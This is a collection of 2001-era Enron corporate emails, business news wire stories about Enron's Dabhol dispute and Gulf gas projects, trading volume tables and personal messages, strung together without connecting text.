Meyer said he expected that the 2 TWh could increase fivefold by 2004, due to 
the expansion of traffic volumes and the rise of private freight forwarding 
His firm also aimed to help Deutsche Bahn save 100 million marks a year 
through efficient usage of the entire supply chain. 
But it wanted to be a buying and portfolio specialist - it would not become a 
classical power trader in its own right.

By Unni Krishnan

NEW DELHI, April 10 (Reuters) - Indian Power Minister Suresh Prabhu said on 
Tuesday a row over U.S. energy giant Enron's controversy-ridden project in 
western India would not affect foreign investment in the power sector. 
The long-running quarrel between Enron's Indian unit, Dabhol Power Co (DPC), 
and the Maharashtra state government heated up on Monday when DPC sent a 
political force majeure notice to state utility Maharashtra State Electricity 
Board (MSEB).
Political force majeure is any event beyond the reasonable control of an 
affected party that could not have been prevented by good practice. It forms 
a part of major financial contracts. 
"Enron is not the symbol of the power sector in India. I want to assure the 
international investor that we are for FDI (foreign direct investment). But a 
commercial dispute should not be viewed as a reflection on FDI inflows," 
Prabhu told Reuters. 
India, which is gripped by a severe power crisis with close to 80,000 
villages without electricity, began power reforms in the early 1990s to 
attract private and foreign investment in the sector to meet the hunger for 
But many foreign power firms including Cogentrix of the United States, 
Electricite De France and Daewoo of South Korea have pulled out of different 
projects following disputes over pricing and the slow pace of reforms in the 
sector. 
SPARRING MATCH 
Enron and the Indian government have been sparring for the past few months 
over MSEB's repeated default on payments owed to Dabhol Power Co which is 65 
percent owned by Houston-based Enron. 
Last week, DPC sent an arbitration notice to the federal government to try to 
recover 1.02 billion rupees due from the state utility. 
Prabhu said the dispute was purely commercial and that many countries were 
interested in getting involved in India's power sector. 
"So many companies are coming. We are signing MoUs (memorandums of 
understanding) with Norway, Sweden and Canada for development of power 
projects," he told Reuters. "So where is the question of FDI (foreign direct 
investment) getting affected?" 
He said the government would seek conciliation with Enron and planned to 
start negotiations soon. "We will mutually agree and decide." 
He said the focus of India's power reforms was on revamping distribution and 
drawing foreign direct investment in this area. 
He said the government was keen on increasing capacity by 100,000 megawatts 
by 2012 by revamping distribution, modernisation of existing plants and 
greenfield projects. 
India had an installed capacity of 96,950 megawatts as of March 31, 2000. It 
needs another 100,000 megawatts in the next 10 years. 
But potential investors have been deterred by the poor finances of state 
electricity boards which are expected to run up combined losses of 285.45 
billion rupees in 2001/02 due to mismanagement and theft in power 
distribution. 
On the generation side, Prabhu said the government was planning to set up 
joint ventures with the domestic private sector for nuclear power. 
"We are looking at this. The (state-run) Power Finance Corporation is looking 
at the possibility of creating joint ventures," he added.

By Dyala Sabbagh

DUBAI --(Dow Jones)- The Saudi Arabian committee negotiating with 
international oil companies on gas projects on offer in the kingdom has 
submitted its proposals for consortium leaders for the three core ventures to 
the Supreme Petroleum Council for approval, sources familiar with the process 
told Dow Jones Newswires Tuesday. 
Once approved, other consortium members will be selected followed by 
memoranda of understanding, expected sometime in May, the sources said.
Final approval will also be required from the kingdom's Supreme Economic 
Council, headed by Crown Prince Abdullah, the sources added. 
Consortium leaders will be responsible for directing further detailed 
negotiations on the core projects such as pricing and finance, on behalf of 
those companies selected for each project. The current shortlist of 10 
companies hoping to get a piece of the pie may be trimmed once leaders are 
officially approved. ExxonMobil Seen As Fronrunner For $15B South Ghawar 
Project 

Royal Dutch/Shell Group (RD), BP Amoco PLC (BP), ExxonMobil (XOM), Chevron 
(CHV), TotalFinaElf (TOT) and ENI SpA (E) have been shortlisted for core 
venture number one, the $15-billion South Ghawar Area Development. Although 
Exxon, Shell and BP have all been dubbed as frontrunners, ExxonMobil is 
thought to have the strongest chance of selection, the sources said. 
ExxonMobil has been present in Saudi Arabia since the 1960s and is one of the 
largest foreign direct investors in the kingdom, with three existing refining 
joint ventures. The company is also Saudi national oil company Saudi Aramco's 
largest crude oil customer. 
For core venture two, the Red Sea Development, Enron Corp. (ENE) and 
Occidental Petroleum Corp. (OXY) are bidding jointly and ExxonMobil, 
TotalfinaElf, Marathon Oil Canada Inc. (T.M), Shell and Conoco Inc. (COCA) 
have also been listed. Among these, Total and Shell have been dubbed as 
strong possibilities, the sources said. 
For core venture three, the Shaybah area, TotalFinaElf, Conoco, Phillips 
Petroleum (P), Enron & Occidental, ExxonMobil, Shell and Marathon Oil have 
been listed. Conoco and TotalfinaElf are seen as the frontrunners on this. 
Each core project has on average six to ten individual components and the 
three have a combined investment value of about $25 billion. 
As well as getting operatorship of the projects, consortium leaders are 
likely to get the largest stake in any project. 
Saudi Arabia invited international oil companies to invest in its downstream 
gas sector and upstream gas enhancement over two years ago in an attempt to 
meet an estimated demand of 14 billion cubic feet a day of gas by 2025. 
Currently, there is about 2.5 bcf/day in the kingdom's gas system. 
-By Dyala Sabbagh, Dow Jones Newswires; 9714 3314260; 
dyala.sabbagh@dowjones.com

(Copyright (c) 2001, Business Wire)

CAMBRIDGE, Mass.--(BUSINESS WIRE)--April 10, 2001--Despite a tumultuous 
environment created by rising energy prices and new laws and regulations, 
online energy trading in wholesale markets surged 750% from 1999 to 2000. 
According to a new Report by Forrester Research, Inc. (Nasdaq: FORR), online 
energy trading will continue this rapid growth -- leaping from $400 billion 
in 2000 to $3.6 trillion in 2005. Three-quarters of this volume will come 
from the rollout of new over-the-counter financial derivatives like swaps and 
spreads. 
"Despite last year's turbulence, energy companies jumped on the Net 
bandwagon, investing in dot-com trading sites, building private eCommerce 
platforms, and forming industry consortia," said Jim Walker, senior analyst 
at Forrester. "While Enron dominated online trade in 2000, new industry 
consortia like TradeSpark and IntercontinentalExchange are ramping up volume 
-- increasing liquidity for the entire market."
As energy companies adopt the Net, their trading style will change from art 
to science. In this environment, companies will supplement person-to-person 
negotiated deals with quantitative analysis and program trading. The speed 
and efficiency of online trade will also push traders to develop 
straight-through processing from order capture to contract settlement -- 
enabling companies to post real-time P&Ls in this highly volatile market. 
Rather than giving rise to a plethora of new venues, the majority of online 
trading will occur at only a few sites. By 2005, three distinct venues will 
form to serve different markets: one liquidity hub, three merchant platforms, 
and thirty solution sites. The liquidity hub will attract companies seeking 
to exchange price risk in pure commodities. Merchant platforms will offer 
industry marketmakers a venue for trading products to maximize margins from 
their own long-term assets and customer contracts. Finally, energy companies 
will offer branded solution sites to structure special deals and provide 
customized services for their wholesale customers. 
"We expect enymex to win out as the liquidity hub, leveraging the strength of 
its offline trading infrastructure and institutional trading community," 
added Walker. "The leaders of the merchant hubs will be Enron, ICE, and 
TradeSpark -- supported by traders willing to make markets and act as 
specialists for specific products." 
For the Report "Net Energy Hits Hypergrowth," Forrester spoke with executives 
from online energy marketplaces, energy producers, industrial customers, 
traders, and software suppliers. 

Forrester Research is a leading emerging-technology research firm, analyzing 
technology change and its impact on business, consumers, and society. 
Forrester's "Whole View" of the Internet economy enables clients to weave 
together Internet commerce initiatives with eBusiness technology to satisfy 
customers' changing needs. Clients receive continuous research and analysis 
through Forrester eResearch(TM) Reports, an array of Advisory Services, 
Assessment Tools, and topical events. Established in 1983, Forrester is 
headquartered in Cambridge, Mass., with North American Research Centers in 
San Francisco, Calif., and Toronto, Canada. Forrester's European Research 
Center is located in Amsterdam, Netherlands, its UK Research Centre is 
located in London, and its Research Center Deutschland is located in 
Frankfurt, Germany. Additional information about Forrester Research can be 
found at www.forrester.com. 

(c)2001, Forrester Research, Inc. Forrester and Forrester eResearch are 
trademarks of Forrester Research, Inc.

CONTACT: Jean Kong Forrester Research, Inc. +1 617/613-6025 
press@forrester.com or Jenny Cherrytree Golin/Harris International for 
Forrester +1 213/623-4200 ext. 707 jcherrytree@golinharris.com 
09:01 EDT APRIL 10, 2001 

2001-04-10 09:32 (New York)

     Mumbai, April 10 (Bloomberg) -- India and the local unit of
Enron Corp., the world's largest energy trader, will set up a
committee to try and settle a dispute over unpaid electricity
bills, company spokesman Jimmy Mogal said.
     Dabhol Power Co., 65 percent owned by Enron, yesterday
invoked `political force majeure' which allows it to stop selling
power to Maharashtra state without being penalized.
     The three-member panel will include one person each nominated
by Dabhol Power and the Indian government, said Mogal. The third
member will be chosen by these two, he said.
     The case will go to international arbitration if the panel
fails to arrive at a solution, Mogal said.
     The Maharashtra State Electricity Board, or MSEB, Dabhol
Power's only customer, hasn't paid the December 2000 bill of 1.02
billion rupees ($22 million) and the January bill of 1.27 billion
rupees, saying they were too high.
     The defaults have forced Dabhol Power to invoke payment
guarantees by India's federal and Maharashtra state government,
where its plant is located.
     That forced the government today to agree to conciliation,
Agence France Presse reported today, citing India's Finance
Minister Yashwant Sinha.
     Enron's $3 billion power, 740 megawatt-a-year project, is the
biggest foreign investment in India. The project faced numerous
delays and at one point was canceled after a change of government
at the state. Enron revived it after agreeing to cut power prices
by 22 percent and sell a 30 percent stake to the state government.

--Ravil Shirodkar in the Mumbai newsroom (91-22) 233-9029 or at
rshirodkar@bloomberg.net/nmn

2001-04-10 09:57 (New York)

     Doha, Qatar, April 10 (Bloomberg) -- Qatar, which holds the
world's third-largest reserves of natural gas, said foreign
companies may invest as much as $15 billion into the Gulf state's
energy industry over the next five years.
     ``A major chunk of this is expected to come from the U.S.,''
said Qatar's finance minister, Youssef Hussein Kamal, who spoke at
an investment conference in Doha attended by a delegation from the
U.S. Congress. ``Qatar offers foreign investors security and
political stability.''
     Dolphin Energy Ltd., a venture of the Abu Dhabi government,
Total Fina Elf SA and Enron Corp., signed an accord with Qatar
last month to buy more than $2 billion in natural gas a year.
Dolphin would develop Qatar's North Dome field, the world's
largest natural gas field, and build a pipeline under the Gulf to
the United Arab Emirates and Oman.
     The gas may be used to power industrial development. A
collapse in oil prices in 1998 reinforced the need for Gulf states
to cut their dependence on crude oil sales and create jobs for the
more than 50 percent of the population that is under the age of
25.
     Qatar is the smallest oil producer in the Organization of
Petroleum Exporting Countries.

The 2000 Chairman's Award nomination process was a tremendous success!  Fro=
m=20
around the world, over 425 nominations were received representing a broad=
=20
cross-section of our overall organization and resulting in a 73% increase i=
n=20
nomination participation from last year.  This 100% employee-driven program=
=20
is so successful because you take time to nominate and recognize those=20
individuals that are special in your work life.  Every single candidate is =
to=20
be congratulated! =20

This year, the original concept was brought to fruition when the members of=
=20
the 1999 Chairman's Roundtable took over the selection process and carried=
=20
the torch from past to present.  This Selection Committee reviewed all=20
candidates on the basis of their ability to consistently bring our values t=
o=20
life and sought out those select few that are Enron's "everyday heroes". =
=20

It is with great pleasure that we announce the 2000 Chairman's Roundtable=
=20
whose daily pursuit of excellence, commitment to communication, genuine=20
integrity and respect for others are what make Enron the incredible company=
=20
that it is today - innovative, successful and undoubtedly one of the best=
=20
places to work.  The eleven individuals named below are flying to San Anton=
io=20
this from around the world to be honored at our annual Management=20
Conference.  One of these finalist will receive the distinguished recogniti=
on=20
as the actual Chairman's Award winner:

THE 2000 CHAIRMAN'S ROUNDTABLE

Amelia Alder, Enron Operations Services (ETS) - Houston, Texas
Dan Boyle, Enron Global Finance - Houston, Texas
Craig Buehler, Northern Natural Gas (ETS) - Houston, TX
Fernando Delpino, Industrias Ventane (ESA) - Caracas, Venezuala
Barbara Gray, ENA - Houston, Texas
Scott Guptill, PGE - Portland, OR
Mark Harada, EES - Hinsdale, IL
Don Lehr, The Linc Corporation (EES) - Pittsburgh, PA
Xafira Mendonsa, Dahbol Power Company - Mumbia, India
Yaser Tobeh, Operational Energy Corp. (EES) - Gaza, Palestine
Kevin Westwood, Enron Teeside Operations Ltd. - Cleveland, England

Attached is a list of every employee who was nominated for the Chairman's=
=20
Award this year:

Please take a moment to recognize this honor bestowed upon your fellow=20
employees.  We sincerely thank them for their contributions to Enron and=20
their leadership that helps make this organization the world=01,s leading e=
nergy=20
and communications company.   If you have any questions regarding this year=
's=20
program or suggestions for the future, please contact Charla Reese at=20
charla.reese@enron.com or call 713.853.5202.  We hope to see the Chairman's=
=20
Award grow and encourage your participation next year.

Respectfully

Ken & Jeff

Dear Mr McConnell

Some two weeks ago we sent you the colour illustrations of the works by
Signac and Cross which you had said were of interest to you. Since that
time we have had no reply fromyou.

Did you receive the package? Perhaps you could let us know the situation.

I llok forward to hearing from you

William Weston.

CORRECTION - last line, Monday, May 14

	Harry Kingerski
	05/10/2001 01:16 PM
		 
		 To: Wanda Curry/HOU/EES, James W Lewis/HOU/EES, Mike D Smith/HOU/EES, Don 
Black/HOU/EES, Scott Stoness/HOU/EES, Diann Huddleson/HOU/EES, 
jklauber@llgm.com, Vicki Sharp/HOU/EES, Marcus Dotson/HOU/EES
		 cc: James D Steffes/NA/Enron@Enron, Leslie Lawner/NA/Enron@Enron, Susan J 
Mara/NA/Enron@ENRON, Jeff Dasovich/NA/Enron@Enron, Sandra 
McCubbin/NA/Enron@Enron, Paul Kaufman/Enron@EnronXGate, Robert 
Neustaedter/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Richard 
		 Subject: Rate design for 3 cent Rate increase for PGE/SCE

2 proposed decisions were released last night by the California PUC - one by 
the Judge and one by Chairman Lynch.  

Direct access customers are exempt from the surcharge. 
Each customer class is allocated an equal 3 cents, plus an amount to cover 
the shortfall from having residential usage up to 130% of baseline exempt 
from the surcharge (as required by law).  Each decision allocates a 
substantial portion of the subsidy to non-residential classes, although Lynch 
does this to a lesser extent
The new rates become effective June 1, and the shortfall from the actual 
effective date of the increase, March 27, through June 1 will be amortized 
over 12 months.
Residential rate design - 5 tiers will be put in place; the 5th tier (300+% 
of baseline) gets a 35 cent per kwh rate
Non-residential rate design - recommendations to put all of the increase into 
summer on-peak were rejected.  About 60% of increase put into summer.  
Real Time Pricing was endorsed - will further explore in workshops starting 
later in May.  Voluntary program will be started.
In a vindictive outlash, Lynch decision requires federal facilities to pay 
market prices under new schedules to be developed by the utilities
Judge's decision seems to require surcharge to show up as a separate line 
item; Lynch's decision requires that it not be shown separately

Oral argument occurs Friday and final decision is expected to be voted out 
Monday, June 14. 

OK - I have talked to them and will authorize them to trade buys and sales 
of  US West Physical Power on EOL. 

Thanks!

S

	Tana Jones
	02/22/2001 02:52 PM
		
		 cc: 
		 Subject: Re: EOL approvals, 2-21-01

I just spoke to Credit about one counterparty on the list.  You've got Utah 
Municipal Power Agency shut down to trade since they're not FERC authorized.  
They specifically came through online wanting to trade power, and Credit 
wants to know if you can give them a call and determine if you can get 
whatever evidence you need to get them open for power.  The name of the guy 
that sent the application in is Richard Judd and his ph no. is (801) 
852-6842.  Thanks!

	Shari Stack
	02/22/2001 04:16 PM
		
		 cc: Rhonda L Denton/HOU/ECT@ECT, Leslie Hansen/HOU/ECT@ECT

With regard to: 

UAMPS: Approved for West Physical Power, Buys and Sales
Western Area Power Administration: Approved for West Physical Power, Buys and 
Sales

Utah Municipal Power Agency: NOT APPROVED  (not a current CP/Not FERC 
authorized)

With regard to everyone else on the list: 

Ditto Credit

Thanks, 

Shari

	Tana Jones
	02/21/2001 03:14 PM
		 
		 To: Alan Aronowitz/HOU/ECT@ECT, Jeffrey T Hodge/HOU/ECT@ECT, Shari 
Stack/HOU/ECT@ECT, Harry M Collins/HOU/ECT@ECT, David 
		 cc: 
		 Subject: EOL approvals, 2-21-01

----- Forwarded by Tana Jones/HOU/ECT on 02/21/2001 05:14 PM -----

	02/21/2001 05:09 PM
		 
		 cc: 

[IMAGE]	Fantasy Football Newsletter	
  November 23, 2001  		

     [IMAGE]Fantasy Sports     [IMAGE]Fantasy Football     [IMAGE]CBS SportsLine.com 	
	
  Welcome to another edition of the 2001 Fantasy Football Newsletter!      The Fantasy Football newsletter will arrive in your e-mail inbox every Friday. We'll include news about the web site; tips on using all the features available; and answers to your player-related questions from the "Gridiron Guru."   	[IMAGE]	Inside      ? Thanksgiving Football   ? Sortable Standings   ? Gridiron Guru   ? Tip of the Week   	

 [IMAGE]  [IMAGE]  [IMAGE]  	

    Thanksgiving Football     Remember that two NFL games will be played on Thursday: Packers vs. Lions at 12:30 PM ET and Broncos vs. Cowboys at 4:05 PM ET. Fantasy 2001 players, if you have players from these four teams on your roster, they must have their final status (active or reserve) set 5 minutes before the start of their game. Please keep in mind that you also will not be able to enter any new add/drops for the week starting one hour prior to Thursday's first kickoff. Football Commissioner players, check with your league's commissioner to see how your lineup deadline is handled this week.  	

    Sortable Standings     Did you know that every column on your Standings page is sortable? Click the category name at the top of any column to sort the report by the results of that category. In head- to-head leagues, the Standings report is displayed in order of the teams with the best win/loss percentage. However, you can click the PF (Points For) column to display the top point-scoring teams at the top; or the PA (Points Against) column to display, in descending order, the teams with the most fantasy points scored against them.  	

    Gridiron Guru     Welcome to Gridiron Guru, where we'll answer your questions about players and offer Fantasy Football roster advice. We invite you to send your own scouting reports and comments on players to: gridguru@commissioner.com . You'll get the chance to be heard by thousands of Fantasy players just like yourself!   	

  Question - Marcus Howell     Who would you start in Week 11: Brian Griese  at Dallas or Jake Plummer at San Diego?    Answer - GG     Griese's receiving corps has been crippled by injuries  this season, and with Rod Smith questionable with an ankle  injury, the outlook gets dimmer. The Denver QB has been  bothered by physical problems this year as well. Plummer  seems like a better choice after a superb Week 10 outing. But  remember that he was facing the 0-9 Lions, and Plummer has  never been able to string many good performances together in  the past. He will be facing a San Diego defense that will be  primed for a good performance after getting burned badly by  Oakland last week. Go with Griese, who should at least post  respectable numbers at Dallas.  	

  Question - Eric Fernau     Which three running backs should I start?  I  have Corey Dillon, Ricky Williams, Duce Staley, Priest  Holmes and Garrison Hearst.    Answer - GG     Dillon is a must-start player every week. Holmes is  facing a Seattle defense that looks good statistically, but  will have a lot of trouble containing him on the outside.  Staley should have little trouble ripping through the  Washington front wall. It's hard to ignore Hearst at  Indianapolis or Williams in any week, but we like Dillon,  Holmes and Staley, especially the latter in an NFC East game.  	

  Question - Jay Rassat     Who do I start this week at quarterback? I have  Tom Brady, Aaron Brooks and Trent Green. The defenses they  play against are all decent (N.O., N.E. and Seattle).    Answer - GG     Brady and Brooks square off against each other, and  each is facing a secondary that can give up the big play.  Green will be facing a Seattle team that won't offer much of  a pass rush, but he is less explosive than Brooks or Brady.  With Brady having the advantage of playing at home, and Drew  Bledsoe looking over his shoulder, we'll go with the New  England QB.  	

    Tip of the Week      Ryan Carter, Watertown, CT: Ricky Watters' decision to not  have shoulder surgery is bad news for him, but great news for  people like me, who have Shaun Alexander. I would not be  surprised to see Watters not play again this year. Ricky's a  great back, and I wish him well, but you cannot replace a  back like Alexander.  	

  This message has been provided free of charge and free of obligation. If you prefer not to receive emails of this nature please send an email to remove@commissioner.com . Do not respond to this email directly.   	

---------------------- Forwarded by Scott Neal/HOU/ECT on 11/13/2000 02:56 PM 

<butch@watsonmoving.com> on 11/13/2000 02:25:11 PM
<KbutchW@aol.com>, <butch@watsonmoving.com>, <jdaghorn@aol.com>, 
<digiman28@aol.com>, <Catho928@aol.com>, <Mrreemus@aol.com>, 
<murphyg@mercersales.com>, <EGwydir@aol.com>, <robin99tim@yahoo.com>, 
<kingb@nuevoenergy.com>, <peggy01@ev1.net>, <kay_mitchell@hotmail.com>, 
<sneal@enron.com>, <tdpatton00@yahoo.com>, <aharrison@aglife.com>, 
<rkgbh@aol.com>
cc:  
Subject: Schedule - Week of 11/12/00

Dear Wildcats:

What a great game you guys had against the Titans!  The team party at
Speedy's was great - a special thanks to Mrs. Burge and Mrs. Gwydir for
organizing the event.

For this week, I spoke to the Commissioner this morning and he stated our
Tully Bowl Game is "95%  sure for Sunday, November 19, 2:00pm".  If this
is so,
I would like everyone to report at 1:00pm.

Here is the balance of the schedule for the week:

Wednesday, Nov. 15 - Practice 4:30-6:00pm
Thursday, Nov. 16 - Backfield only - no pads - 5:15-6:00
Saturday, Nov. 18 - Practice 9:00-11:00am

Special note: Do not wear your football cleats to the Tully Bowl - They
don't
work on the Astro Turf - WEAR TENNIS SHOES ON SUNDAY!

Lets work hard this week  and Beat The Mustangs!
Go Wildcats!

Coach Butcher

In response to the Commission's suspension of DA, numerous market participants--including Enron--filed "Petitions for Rehearing."
The California PUC has issued a decision denying the petitions.
Many of those participants are likely to file for appellate court review of the Commission's denial.
In its decision denying the Petitions, the Commission did however modify its initial decision in several respects.
Key among those is a modification regarding facility adds.  
Those comments refer to the ability to continue to submit DASRs for new facilities under contracts signed prior to September 20th that provide for facility adds.
The Commission agreed and has ordered the utilities to accept DASRs for facility adds under contract terms executed prior to 10.20.01.  The precise language is cited below.
If you would like a copy of the decision, please contact Joseph Alamo.

Best,
Jeff

"We reaffirm that for the time being, and unless the Commission states otherwise in a subsequent decision, utilities are required to process DASRs relating to contracts or agreements that were executed on or before September 20th, 2001, including DASRs for service to new facilities or accounts if the underlying contract pursuant to which those DASRs are submitted allowed for the provision of that additional service.  Thus, for example, with respect to the specific ESP contract described by UC/CSU in their rehearing application, the utilities are required to accept, even after September 20, 2001, any DASRs they receive that legitimatley relate to that contract...[W]e want to make it clear that...utilities cannot set a deadline after which they could refuse to process DASRs relating to contracts executed on or before September 20, 2001."  pp 20-21

Per Danny Sullivan's request, the following documents are in Word and 
WordPerfect formats.

If you have any problems or questions, please do not hesitate to contact me.

Cryshenda Terry
Evening Information Processing Supervisor
Andrews & Kurth LLP
(214) 659-4459

Ken,

I am writing this as an apology.  I have read about the heads of various companies and institutions, such as Railtrack here in the UK, taking large (huge) payments / payoffs / salaries while in charge of companies providing extremely poor levels of service and customer satisfaction.  After reading yesterday from various sources about the level of the provision in your contract I was extremely cynical.  After your voice mail / email this morning I am impressed and even uplifted.

Thank you.

Regards,

Mark Fereday

Sent:	14 November 2001 00:18
To:	DL-GA-all_enron_worldwide2
Subject:	Change of Control Provisions

As many of you know, I have a provision in my employment contract which provides for a payment of $20 million per year for the remaining term of my contract in the event of a change of control of Enron.  The merger with Dynegy, or a similar transaction with any other company, would trigger this provision on closing.  Assuming the merger with Dynegy is closed within 6-9 months, as we expect, this provision would entitle me to total payments of slightly more than $60 million.

Many CEOs have change of control provisions in their employment contracts and mine has been in place since 1989.  But given the current circumstances facing the company and our employees, I have been giving a lot of thought these last few days to what to do about this payment.  Initially, I thought I would use part of the funds for a foundation for our employees and take the remainder in stock and cash.  However, after talking to a number of employees this afternoon, I have decided that the best course of action would be for me to waive my right to any of this payment.  Therefore, at closing, I will receive no payments under this provision.

I know this action does not remedy the uncertainty that you and your families face.  But please know that I will continue to do everything in my power to serve the best interests of Enron's employees and shareholders.  I am still very proud of what we have built at Enron, and I want to continue working with all of you to correct the problems and restore Enron to its rightful place in the energy industry.

Thank you.

 	 EOL Deals	 From: 9/1/2001   To: 9/25/2001	  ` 	EnPower	 From: 9/1/2001   To: 9/25/2001	  	 
 	  	  	  	  	  	  	  	  	 
 	 EPMI Long Term California	 454	 9,063,725	  	 EPMI Long Term California	 94	 4,174,205	  	 
 	 EPMI Long Term Northwest	 341	 5,336,600	  	 EPMI Long Term Northwest	 379	 13,786,965	  	 
 	 EPMI Long Term Southwest	 415	 6,567,155	  	 EPMI Long Term Southwest	 244	 17,790,410	  	 
 	 EPMI Short Term California	 2,064	 1,615,584	  	 EPMI Short Term California	 590	 1,457,757	  	 
 	 EPMI Short Term Northwest	 1,101	 762,000	  	 EPMI Short Term Northwest	 530	 516,553	  	 
 	 EPMI Short Term Southwest	 1,621	 1,249,600	  	 EPMI Short Term Southwest	 796	 2,223,498	  	 
 	 Real Time	 1,046	 26,225	  	 Real Time	 597	 66,425	  	 
 	  	  	  	  	  	  	  	  	 
 	 Grand Total	 7,042	 24,620,889	  	 Grand Total	 3,230	 40,015,813	  	 
 	  	  	  	  	  	  	 
 	 EOL Deals	 From: 9/25/2001   To: 9/25/2001	  	 EnPower	 From: 9/25/2001   To: 9/25/2001	  	 
 	  	  	  	  	  	  	  	  	 
 	 EPMI Long Term California	 28	 610,000	  	 EPMI Long Term California	 3	 76,600	  	 
 	 EPMI Long Term Northwest	 26	 348,200	  	 EPMI Long Term Northwest	 18	 824,083	  	 
 	 EPMI Long Term Southwest	 21	 309,075	  	 EPMI Long Term Southwest	 25	 3,156,890	  	 
 	 EPMI Short Term California	 142	 242,872	  	 EPMI Short Term California	 21	 66,355	  	 
 	 EPMI Short Term Northwest	 102	 43,600	  	 EPMI Short Term Northwest	 40	 49,002	  	 
 	 EPMI Short Term Southwest	 83	 34,600	  	 EPMI Short Term Southwest	 38	 48,976	  	 
 	 Real Time	 139	 3,475	  	 Real Time	 41	 4,912	  	 
 	  	  	  	  	  	  	  	  	 
 	 Grand Total	 541	 1,591,822	  	 Grand Total	 186	 4,226,818	  	 
 	  	  	  	  	  	  	 
 	 ICE Volumes	 From: 9/25/2001   To: 9/25/2001	  	  	  	  	  	 
 	  	  	  	  	  	  	  	  	 
 	 Mid C (OP, Next Day)	 1,000	 0	  $       16.65 	 	  	  	  	 
 	 Mid C (P, Next Day)	 3,600	 400	  $       19.44 	 	  	  	  	 
 	 Mid C (OP, Oct-01)	 7,825	 0	  $       20.00 	 	  	  	  	 
 	 Mid C (P, Oct-01)	 75,600	 0	  $       25.00 	 	  	  	  	 
 	 Mid C (P, Jan-02)	 10,400	 0	  $       37.00 	 	  	  	  	 
 	 NP-15 (P, Next Day)	 1,200	 400	  $       23.42 	 	  	  	  	 
 	 NP-15 (OP, Next Day)	 400	 200	  $       17.63 	 	  	  	  	 
 	 NP-15 (P, Oct-01)	 10,800	 0	  $       26.00 	 	  	  	  	 
 	 NP-15 (P, Nov-01)	 10,000	 50,000	  $       31.25 	 	  	  	 
 	 NP-15 (P, Dec-01)	 10,000	 0	  $       37.90 	 	  	  	 
 	 Palo (P, Next Day)	 5,200	 0	  $       26.29 	 	  	  	 
 	 Palo (P, Next Week)	 2,400	 0	  $       27.00 	 	  	  	 
 	 Palo (P, Oct-01)	 86,400	 0	  $       26.34 	 	  	  	 
 	 Palo (P, Nov-01)	 70,000	 10,000	  $       26.04 	 	  	  	 
 	 Palo (P, Dec-01)	 10,000	 0	  $       31.50 	 	  	  	 
 	 Palo (P, Q1 02)	 30,400	 0	  $       30.50 	 	  	  	 
 	 Palo (P, Q3 02)	 30,800	 0	  $       51.25 	 	  	  	 
 	 SP-15 (OP, Next Day)	 400	 200	  $       17.00 	 	  	  	 
 	 SP-15 (P, Next Day)	 4,000	 400	  $       24.13 	 	  	  	 
 	 SP-15 (P, Oct-01)	 43,200	 0	  $       25.55 	 	  	  	 
 	 SP-15 (P, Nov-01)	 30,000	 10,000	  $       28.25 	 	  	  	 
 	 SP-15 (P, Q1 02)	 30,400	 0	  $       32.75 	 	  	  	 
 	 SP-15 (P, Q3 02)	 30,800	 0	  $       46.50 	 	  	  	 
 	  	  	  	  	  	  	  	 
 	 Grand Total	 504,825	 71,600	  $     647.39 	 	  	  	 
 	  	  	  	  	  	  	 
Mike:
Can't thank you guys enough for coming.  It was a great time, and Prentice 
was really happy that you made it.  Hope you didn't get too much of a 
headache listening to me play (?) the bass.  Please pass along thanks to 
Lisa, and no reciprocation needed.  Great to have you.  Happy holidays.

Best,
Jeff

	Mike Herring <mherring@myfamilyinc.com>
	12/18/2000 12:12 PM
		 
		 To: "Jeff Dasovich (E-mail)" <Jeff.Dasovich@enron.com>
		 cc: 
		 Subject: Great party

Great weekend overall.  Thanks for inviting us, Jeff, we had a really good
time and thouroughly enjoyed oursleves the entire time.  

Hopefully we'll get a chance to reciprocate soon.

Best-
Mike

Here we go with a renewal that puts us to 7.6%, but the purchase price is not 
so much.
---------------------- Forwarded by Kay Mann/Corp/Enron on 01/30/2001 03:51 
   
	From:  Kathleen Carnahan                           01/30/2001 01:36 PM
	
cc: Jeffrey Keenan/HOU/ECT@ECT 

Subject: Edgecombe North Carolina Option Payment Percentage

Kay,

The payment that is due on Saturday will put us at 7.631%.    I really would 
like to Federal Express out tonight because the November payment got lost in 
the mail and I had to order another check to send to them.  Please advise.

Hey you back!
 
I'm sorry that I made you feel that way.  Don't take it for anything other than I was very busy.  I have no problem being friends and even getting together, whenever.
Right now I'm in a position in my life where I just want to do what I want to do, I know that's very selfish but truthfully that's how I feel.  I think after you get through with all the BS that's going on in your life you will understand where I'm coming from.  So for now don't take anything I do personally, and feel free to call whenever you want.  And, yes I wuld like to get together.....
 
Paul
And you too have a great day!!!
 
From: Robyn Jernagan [mailto:rjernagan@msn.com]
Sent: Wednesday, October 17, 2001 9:23 PM
Subject: hey you!!

Hey You!!!
 
I don't usually do the e-mail thing but I am tonight....
 
Listen I felt a little strange talking with you the other
day....you seemed a bit stoic or maybe a bit too business
like.....Is everything ok with you??  I realize you are very 
busy right now after coming back from a lot of time off....
But it did feel strange......
 
I just want you to know that I did not call to get together
with you I just called to see how you where doing....I seems
to me that you felt obligated to tell me that we would get
together sometime.....Don't do that.....Really I just need 
a friend sometimes to chat with....I realize I can be quite 
hard to get along with and not real appealing at those times..
 
So I guess my bottom line is that I think you are a great person
inside and you are a blast to be with.....It would be great to
get together with you just to have some fun....but please
don't feel obligated ..........
 
Anyway, I am not sure if I got my point across or not but
it would be nice to hear from you...
 
Always........
 
Robyn

See Ya
Have a Great Day!!!!

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 03/30/2001 
05:53 PM ---------------------------

"Btu" <subs@Btu.net> on 03/30/2001 05:22:34 PM
To: "Btu's Weekly Power Report" <>
cc:  
Subject: Btu's Weekly Power Report

Attached is the latest issue of Btu's Weekly Power Report

e-mail: info@Btu.net
phone: 732-758-8222
fax: 732-758-8286

 - wp040201.pdf

Mark
----- Forwarded by Mark Whitt/NA/Enron on 02/16/2001 08:40 AM -----

	"Day, Brian (Denver)" <BrianDay@aec.ca>
	02/16/2001 08:29 AM
		 
		 To: "'Mark.Whitt@enron.com'" <Mark.Whitt@enron.com>
		 cc: 
		 Subject: RE: Opal Transaction Agreements

A few things:

1.  Questar Pipeline is not at the tailgate of Opal.
2.  With respect to the price, do you mean the price will be set based on
the last day settlement of each individual month on the contract, or the
average of all the settlements.  We would prefer to price it monthly based
on the last day settlement, I think that's what you mean, I just wanted to
verify.  If that's not what you meant, let me know.
3.  I just want to make sure that this is a firm purchase that could be
curtailed only due to force majeure.

I will hopefully be able to get back to you today on the deal, we are
